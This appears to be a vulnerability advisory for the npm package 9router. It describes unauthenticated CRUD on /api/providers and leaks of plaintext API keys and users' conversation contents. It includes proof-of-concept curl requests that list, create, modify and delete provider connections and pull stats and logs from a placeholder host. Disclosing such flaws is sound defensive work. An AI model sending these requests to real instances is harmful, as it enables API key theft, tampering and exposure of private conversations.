npm · 9router
9router has unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats
Multiple critical API security vulnerabilities were discovered in 9Router's Next.js dashboard. The /api/providers endpoints lack authentication entirely, allowing anyone to create, read, update, and delete provider connections. Additionally, /api/usage/stats exposes full plaintext API keys, and /api/usage/request-logs + /api/usage/request-details expose all users' request history and full conversation contents (including system prompts, user messages, assistant responses) without authentication.
| Endpoint | Method | Issue |
|---|---|---|
/api/providers |
GET | Lists all provider connections with partial credentials, OAuth tokens, account IDs |
/api/providers/:id |
GET | Read any single provider detail (IDOR) |
/api/providers |
POST | Create arbitrary provider connections with attacker-controlled API keys |
/api/providers/:id |
PUT | Modify any existing provider connection |
/api/providers/:id |
DELETE | Delete any provider connection |
/api/usage/stats |
GET | Exposes full plaintext API keys, per-account usage breakdown, cost data |
/api/usage/request-logs |
GET | Exposes all users' request logs (model, tokens, cost, timestamp, provider) |
/api/usage/request-details/:id |
GET | Exposes full conversation turns including system prompts, user messages, assistant responses |
/api/version |
GET | Exposes current version info |
/api/models |
GET | Exposes full model routing catalog |
/api/v1/models |
GET | Exposes model list |
An attacker can:
The endpoint returns complete API key strings (e.g., sk-...) in plaintext alongside usage data per key, enabling unauthorized use of connected AI provider accounts.
/api/usage/request-details returns the full conversation history of other users' AI sessions, including system prompts, user messages, assistant responses, tool calls, and reasoning traces.
curl -s https://<host>/api/providers
Returns all provider connections with email addresses, auth type, account IDs, and partial API key prefixes.
curl -X POST https://<host>/api/providers \
-H "Content-Type: application/json" \
-d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker-controlled"}'
Returns the created connection object with a new UUID and isActive: true.
curl -X PUT https://<host>/api/providers/<existing-uuid> \
-H "Content-Type: application/json" \
-d '{"name":"modified","apiKey":"sk-attacker-key"}'
Returns the updated connection object.
curl -X DELETE https://<host>/api/providers/<existing-uuid>
Returns {"message":"Connection deleted successfully"}.
curl -s https://<host>/api/usage/stats
Returns full API key strings, per-account token/cost breakdown, recent requests.
curl -s "https://<host>/api/usage/request-logs?page=1&pageSize=50"
Returns paginated request logs with timestamps, models, providers, user emails, token counts.
curl -s https://<host>/api/usage/request-details/<request-uuid>
Returns complete conversation turns for that request.
curl -s https://<host>/api/version
Returns {"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}.
The Next.js API routes under src/app/api/* lack authentication middleware on several endpoints. Specifically:
/api/providers/* — No auth check before CRUD operations on provider connections stored in the database/api/usage/stats — No auth check before returning aggregated usage data including full API keys/api/usage/request-logs — No auth check before returning request history/api/usage/request-details/:id — No auth check before returning full conversation contents/api/providers/* routes (GET, POST, PUT, DELETE)/api/usage/* routesIs your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.